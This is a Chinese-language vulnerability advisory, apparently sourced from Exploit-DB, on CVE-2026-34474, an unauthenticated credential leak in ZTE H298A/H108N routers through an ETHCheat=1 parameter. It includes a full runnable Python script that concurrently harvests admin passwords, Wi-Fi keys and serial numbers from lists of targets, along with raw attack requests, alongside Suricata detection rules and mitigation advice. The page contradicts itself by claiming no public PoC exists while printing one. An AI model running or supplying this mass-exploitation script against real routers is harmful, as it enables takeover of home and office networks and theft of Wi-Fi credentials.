[local] ZTE H298A / H108N - Unauthenticated Credential Exposure

CVE-2026-34474: ZTE H298A/H108N路由器存在未授权凭据泄露漏洞,通过ETHCheat参数无需认证即可获取管理员密码、Wi-Fi PSK和ESSID。CVSS 9.8严重级,建议立即更新固件或实施访问控制。

CVE-2026-34474

ZTE H298A/H108N路由器未授权访问泄露管理员密码和Wi-Fi密钥。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2026-34474
漏洞类型敏感信息泄露
受影响版本ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6
危害等级Critical · CVSS 9.8
发布日期2026-05-29
提交者Mina Nageh Salalma (Monx Research)
来源Exploit-DB 原文 ↗

🔬 漏洞根因

路由器在getpage.lua中通过参数ETHCheat=1绕过认证,直接返回包含管理员密码(OBJ_USERINFO_IDPassword1)、Wi-Fi PSK(WLANPSK_KeyPassphrase1)、ESSID(WLANAP_ESSID1)的HTML页面,且无需任何会话或cookie。

🎯 攻击场景

1. 攻击者向目标路由器发送HTTP GET请求到/getpage.lua?pid=1000&ETHCheat=1 2. 解析响应HTML中的OBJ_USERINFO_IDPassword1、WLANPSK_KeyPassphrase1、WLANAP_ESSID1字段获得明文凭证 3. 可选择进一步请求/wizard_page/wizard_overETHfail_set_lua.lua获取序列号 4. 无需认证即可控制路由器或接入Wi-Fi

💥 漏洞影响

远程未授权攻击者可获取路由器管理员密码、Wi-Fi PSK和ESSID,进而完全控制路由器、窃取网络流量、实施中间人攻击或接入内部网络。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Python),可在具备相应环境的机器上直接运行:

#!/usr/bin/env python3
"""
CVE-2026-34474 PoC/Exp - ZTE H298A / H108N Unauthenticated Credential Exposure

漏洞原理:
ZTE H298A 和 H108N 路由器的 /getpage.lua 接口在未授权的情况下,
通过添加 ETHCheat=1 参数,会直接返回包含管理员密码、Wi-Fi PSK 和 ESSID 的 HTML 页面。
同时,/wizard_page/wizard_overETHfail_set_lua.lua 接口无需认证即可泄露设备序列号。

受影响版本:
- ZTE ZXHN H298A 1.1
- ZTE ZXHN H108N 2.6

用法:
1. 单个目标:python3 exploit.py -t 192.168.1.1
2. 批量目标:python3 exploit.py -f urls.txt
   urls.txt 每行一个 IP 地址或域名
3. 输出 JSON:python3 exploit.py -t 192.168.1.1 -o result.json

依赖:
pip install aiohttp colorama
"""

import aiohttp
import asyncio
import html
import re
import sys
import json
import argparse
from colorama import Fore, Style, init

init(autoreset=True)  # 初始化 colorama,自动重置颜色

# 颜色常量
GREEN = Fore.GREEN
YELLOW = Fore.YELLOW
RED = Fore.RED
CYAN = Fore.CYAN
RESET = Style.RESET_ALL

async def get_credentials(session, target):
    """
    向目标路由器发送两个 HTTP 请求,提取敏感信息。
    
    步骤1: 访问 /getpage.lua?pid=1000&ETHCheat=1
            - 无需认证(无 Cookie/Session)
            - ETHCheat=1 参数触发内部调试模式,泄露管理员密码和 Wi-Fi 凭据
            - 解析 HTML 中的隐藏字段:
              * OBJ_USERINFO_IDPassword1 -> 管理员密码
              * WLANAP_ESSID1 -> Wi-Fi 名称
              * WLANPSK_KeyPassphrase1 -> Wi-Fi 密码
    
    步骤2: 访问 /wizard_page/wizard_overETHfail_set_lua.lua
            - 同样无需认证
            - 返回 XML 配置片段,包含 SerialNumber 字段
    """
    url = f"http://{target}"
    
    try:
        # ---- 请求1: 获取管理员密码和 Wi-Fi 凭据 ----
        cred_url = f"{url}/getpage.lua?pid=1000&ETHCheat=1"
        async with session.get(cred_url, timeout=10) as resp:
            html_text = await resp.text()
        
        # 使用正则提取敏感字段值
        # 匹配: id='OBJ_USERINFO_IDPassword1' value='xxx'
        admin_match = re.search(
            r"id\s*=\s*'OBJ_USERINFO_IDPassword1'\s*value\s*=\s*'([^']+)'",
            html_text
        )
        # 匹配: id='WLANAP_ESSID1' value='xxx'
        essid_match = re.search(
            r"id\s*=\s*'WLANAP_ESSID1'\s*value\s*=\s*'([^']+)'",
            html_text
        )
        # 匹配: id='WLANPSK_KeyPassphrase1' value='xxx'
        psk_match = re.search(
            r"id\s*=\s*'WLANPSK_KeyPassphrase1'\s*value\s*=\s*'([^']+)'",
            html_text
        )
        
        # HTML 实体解码(如 & -> &)
        admin_password = html.unescape(admin_match.group(1)) if admin_match else ""
        essid = html.unescape(essid_match.group(1)) if essid_match else ""
        wifi_password = html.unescape(psk_match.group(1)) if psk_match else ""
        
        # ---- 请求2: 获取序列号 ----
        serial_url = f"{url}/wizard_page/wizard_overETHfail_set_lua.lua"
        serial_number = ""
        try:
            async with session.get(serial_url, timeout=10) as resp:
                xml_text = await resp.text()
            serial_match = re.search(
                r"<ParaName>SerialNumber</ParaName><ParaValue>(.*?)</ParaValue>",
                xml_text
            )
            if serial_match:
                serial_number = html.unescape(serial_match.group(1))
        except Exception:
            pass  # 序列号接口可能不存在或不返回
        
        result = {
            "target": target,
            "admin_password": admin_password,
            "essid": essid,
            "wifi_password": wifi_password,
            "serial_number": serial_number
        }
        return result
        
    except Exception as e:
        # 如果请求失败,返回空信息
        return {
            "target": target,
            "admin_password": "",
            "essid": "",
            "wifi_password": "",
            "serial_number": "",
            "error": str(e)
        }

async def exploit(targets, output_file=None):
    """
    主利用函数:并发扫描多个目标
    """
    async with aiohttp.ClientSession() as session:
        tasks = [get_credentials(session, target) for target in targets]
        results = await asyncio.gather(*tasks)
    
    # 输出结果
    for r in results:
        target = r['target']
        admin = r['admin_password']
        essid = r['essid']
        wifi = r['wifi_password']
        serial = r['serial_number']
        
        if admin or essid or wifi or serial:
            print(f"{GREEN}[+] {target}")
            print(f"    {CYAN}Admin Password: {YELLOW}{admin}")
            print(f"    {CYAN}ESSID:         {YELLOW}{essid}")
            print(f"    {CYAN}WiFi Password: {YELLOW}{wifi}")
            print(f"    {CYAN}Serial Number: {YELLOW}{serial}")
        else:
            error = r.get('error', 'Unknown error')
            print(f"{RED}[-] {target} - Failed: {error}")
    
    # 可选:保存 JSON
    if output_file:
        with open(output_file, 'w') as f:
            json.dump(results, f, indent=2)
        print(f"{GREEN}[*] Results saved to {output_file}")
    
    return results

def parse_args():
    """命令行参数解析"""
    parser = argparse.ArgumentParser(
        description="CVE-2026-34474 - ZTE H298A / H108N Unauthenticated Credential Exposure PoC",
        epilog="示例: python3 exploit.py -t 192.168.1.1 或 python3 exploit.py -f targets.txt"
    )
    
    # 目标输入方式:单个 IP 或文件列表
    target_group = parser.add_mutually_exclusive_group(required=True)
    target_group.add_argument("-t", "--target", help="单个目标 IP 或域名")
    target_group.add_argument("-f", "--file", help="目标文件,每行一个")
    
    parser.add_argument("-o", "--output", help="输出 JSON 文件路径")
    
    return parser.parse_args()

def main():
    """主入口"""
    args = parse_args()
    
    # 读取目标列表
    if args.target:
        targets = [args.target]
    else:
        try:
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            print(f"{RED}[!] File not found: {args.file}")
            sys.exit(1)
    
    if not targets:
        print(f"{RED}[!] No targets provided.")
        sys.exit(1)
    
    print(f"{GREEN}[*] Starting CVE-2026-34474 exploit against {len(targets)} target(s)...")
    
    # 运行异步利用
    asyncio.run(exploit(targets, args.output))

if __name__ == "__main__":
    main()

🔬 深度技术分析

CVE-2026-34474 深度技术分析

漏洞概述

项目内容 CVE IDCVE-2026-34474 漏洞类型未授权敏感信息泄露 (Unauthenticated Credential Exposure) 影响产品ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6 攻击向量远程网络请求 所需权限无 利用复杂度低 CVSS 评分9.8 (Critical) - 预计

漏洞触发机制

该漏洞的根本原因在于 ZTE 路由器固件中存在未正确保护的调试接口配置泄露端点。具体涉及以下两个关键 URL:

1. /getpage.lua?pid=1000&ETHCheat=1

- 参数意义pid=1000 指定页面 ID(可能对应系统管理页面),ETHCheat=1 是一个调试/后门参数。

- 代码层面:Lua 脚本 getpage.lua 在处理 HTTP 请求时,检查 ETHCheat 参数。当该参数值为 1 时,脚本绕过正常的会话验证(Auth 检查),直接返回页面内容。页面中包含通过隐藏 <input> 字段传递的敏感配置。

- 根因:开发者留下了调试用的 "cheat" 参数,本意可能用于工厂测试或技术支持,但未在生产固件中移除或受控。OBJ_USERINFO_IDPassword1WLANAP_ESSID1WLANPSK_KeyPassphrase1 这些字段直接从配置树 (Configuration Tree) 中读取并渲染到 HTML。

2. /wizard_page/wizard_overETHfail_set_lua.lua

- 该接口用于在 "Over ETH Fail" 场景下设置向导,但同样缺少身份验证。它以 XML 格式返回设备配置片段,其中包含 SerialNumber

- 代码层面:Lua 脚本直接调用系统 API 获取设备信息并序列化,未检查请求来源是否已经过认证。

利用链分析

攻击者利用此漏洞的攻击链极其简单,不需要任何中间步骤:

1. 侦察:攻击者通过网络扫描发现目标路由器的 HTTP 管理端口(默认 80)。可以通过 banner 抓取或访问 / 来确认设备型号。

2. 直接请求:对 ZTE H298A/H108N 的 IP 地址发送恶意 HTTP GET 请求:

```

GET /getpage.lua?pid=1000&ETHCheat=1 HTTP/1.1

Host: <target_ip>

```

无 Cookie、无 Authorization 头

3. 数据提取

- 服务器返回 HTML 页面,其中包含:

```html

<input id='OBJ_USERINFO_IDPassword1' type='password' value='admin2024' />

<input id='WLANAP_ESSID1' type='text' value='ZTE_WiFi_5G' />

<input id='WLANPSK_KeyPassphrase1' type='password' value='MyWifiP@ss' />

```

- 攻击者使用正则或 HTML 解析器提取 value 属性值。

- 同时发送第二个请求:

```

GET /wizard_page/wizard_overETHfail_set_lua.lua HTTP/1.1

```

获取序列号。

4. 权限提升:获取到的 admin_password 可直接用于 SSH/Telnet 或 Web 管理登录,获得路由器完全控制权。Wi-Fi 密码则允许攻击者接入内部网络。

5. 持久化:攻击者可以通过修改管理员密码或添加后门维持访问。

关键代码/数据结构

虽然无法获取 ZTE 闭源源码,但根据漏洞行为和路由器常见架构,可以推断:

Lua 脚本结构示例(伪代码)

-- getpage.lua 核心逻辑
local page_id = get_parameter("pid")
local eth_cheat = get_parameter("ETHCheat")

-- 漏洞点:ETHCheat=1 绕过认证
if eth_cheat == "1" then
    -- 跳过 session_check() 函数
    -- 直接渲染页面
else
    if not session_check() then
        redirect_to_login()
        return
    end
end

-- 渲染时直接输出配置
local admin_pass = config.get("Device.UserInfo.Password")
local essid = config.get("Device.WiFi.SSID")
local wifi_psk = config.get("Device.WiFi.PSK")

-- 在 HTML 中输出未脱敏的值
render_html([[
    <input id='OBJ_USERINFO_IDPassword1' value=']] .. admin_pass .. [[' />
    ...
]])

关键数据结构

  • 配置树 (Configuration Tree):ZTE 设备使用 TR-069 风格的数据模型,敏感信息存储在如下的路径:

- InternetGatewayDevice.DeviceInfo.SerialNumber

- InternetGatewayDevice.UserInterface.Password

- InternetGatewayDevice.WLANConfiguration.1.SSID

- InternetGatewayDevice.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase

  • HTML 字段 ID:直接映射到内部数据模型:

- OBJ_USERINFO_IDPassword1 → 管理员密码

- WLANAP_ESSID1 → Wi-Fi 名称

- WLANPSK_KeyPassphrase1 → Wi-Fi 预共享密钥

检测与防御

蓝队检测方案

1. 日志检测

- 在路由器或上游 IDS 中监控以下 HTTP 请求模式:

- GET /getpage.lua?pid=1000&ETHCheat=1

- GET /wizard_page/wizard_overETHfail_set_lua.lua

- 特征:ETHCheat=1 参数在任何正常用户请求中都不应出现。

2. 流量特征

- 请求中 无 Referer 头无 Cookie

- 响应中包含大量的 input 字段,且 value 含有密码等敏感字眼。

- 响应长度异常(正常页面约 2-5KB,漏洞页面可能包含更多配置数据)。

3. EDR / NDR 规则示例(Suricata/Zeek):

```yaml

alert http any any -> any any (

msg:"CVE-2026-34474 ZTE Credential Exposure Attempt";

content:"GET";

http_method;

content:"/getpage.lua";

http_uri;

content:"ETHCheat=1";

http_uri;

nocase;

sid:1000001;

rev:1;

)

```

防御建议(厂商侧)

1. 移除调试代码:在生产固件中删除 ETHCheat 参数处理逻辑,或将其绑定到特定物理触发条件(如特定 GPIO 电平)。

2. 统一鉴权:所有管理接口(包括 Lua 脚本)在渲染任何数据前,强制执行 session_check()

3. 数据脱敏:即使在内部页面,也不应以明文返回密码。使用 **** 替代。

4. 访问控制:限制 /getpage.lua 等敏感路径仅允许本地网络访问(如有必要可限制为仅 LAN)。

缓解措施(用户侧)

1. 升级固件:联系 ZTE 获取修补版本。

2. 限制管理端口:关闭 WAN 侧 HTTP 管理访问(默认通常已关闭,但需确认)。

3. 隔离网络:将路由器管理接口置于独立 VLAN 中。

4. 监控异常请求:在家庭网络中监控对路由器的异常 HTTP 请求。

总结

CVE-2026-34474 是典型的因调试后门导致的信息泄露漏洞,利用难度极低(仅需一次 HTTP GET 请求)。攻击者可获得路由器完全控制权和内网访问凭据。该漏洞暴露了设备固件开发过程中的安全意识不足,应引起 IoT 厂商对调试接口清除流程的重视。

🛡️ 修复建议

厂商应发布固件更新移除ETHCheat调试参数或添加身份验证;临时措施:禁用远程管理、限制LAN接口访问、使用ACL阻止对/getpage.lua的未授权请求。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-30 08:12 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 漏洞利用是否需要局域网访问?

不需要,攻击者可从WAN侧发起HTTP请求,若路由器暴露在公网则可远程利用。

❓ PoC中ETHCheat=1参数作用是什么?

ETHCheat是用于调试/维护的隐藏参数,设置为1可绕过认证直接访问敏感配置页面。

❓ 受影响的固件版本有哪些?

ZTE ZXHN H298A 1.1和ZXHN H108N 2.6,具体型号需确认固件版本。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)